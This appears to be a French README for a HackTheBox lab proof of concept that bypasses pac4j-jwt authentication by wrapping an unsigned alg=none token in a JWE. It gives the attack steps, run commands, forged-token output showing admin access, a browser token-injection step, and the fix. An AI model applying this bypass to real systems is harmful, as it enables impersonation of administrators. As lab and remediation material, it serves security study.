
Preuve de concept (PoC) pour une vulnérabilité de contournement d'authentification affectant les applications utilisant pac4j-jwt avec JWE (JSON Web Encryption).
Avertissement : Cet exploit a été développé uniquement pour la machine retirée de HackTheBox « Principal ». À des fins éducatives uniquement. Ne pas l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
| Champ | Détails |
|---|
| Nom | Principal |
| Plateforme | HackTheBox |
| Difficulté | — |
| Statut | Retirée |
Bibliothèque concernée : pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
Sévérité : Critique
Type : Contournement d'authentification
Une faille logique dans JwtAuthenticator permet à un attaquant de contourner
l'authentification en enveloppant un PlainJWT non signé (alg=none) dans un JWE (JWT chiffré).
Lorsque le serveur déchiffre le JWE, il tente d'analyser le jeton interne comme
un SignedJWT. Comme le jeton interne est un PlainJWT, l'objet SignedJWT est
nul et la vérification de la signature est entièrement ignorée. Le serveur construit
ensuite un profil utilisateur à partir des revendications non vérifiées — permettant
l'usurpation complète de n'importe quel utilisateur, y compris les administrateurs.
Créer des revendications malveillantes (sub=admin, role=ROLE_ADMIN)
↓
Construire un PlainJWT non signé (alg=none)
↓
Envelopper le PlainJWT dans un JWE en utilisant la clé publique RSA du serveur
↓
Soumettre le jeton JWE au serveur
↓
Le serveur déchiffre le JWE → trouve le PlainJWT → ignore la vérification de signature → accorde l'accès
Voir exploit.py
Mettre à niveau pac4j-jwt vers une version corrigée :
4.5.9 ou ultérieure5.7.9 ou ultérieure6.3.3 ou ultérieureOu rejeter explicitement les jetons internes PlainJWT après le déchiffrement du JWE :
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: noneEnvelopper dans un JWE en utilisant la clé publique
Envoyer comme :
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
Ouvrir DevTools → Console :
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
Puis naviguer vers :
/dashboard
alg: none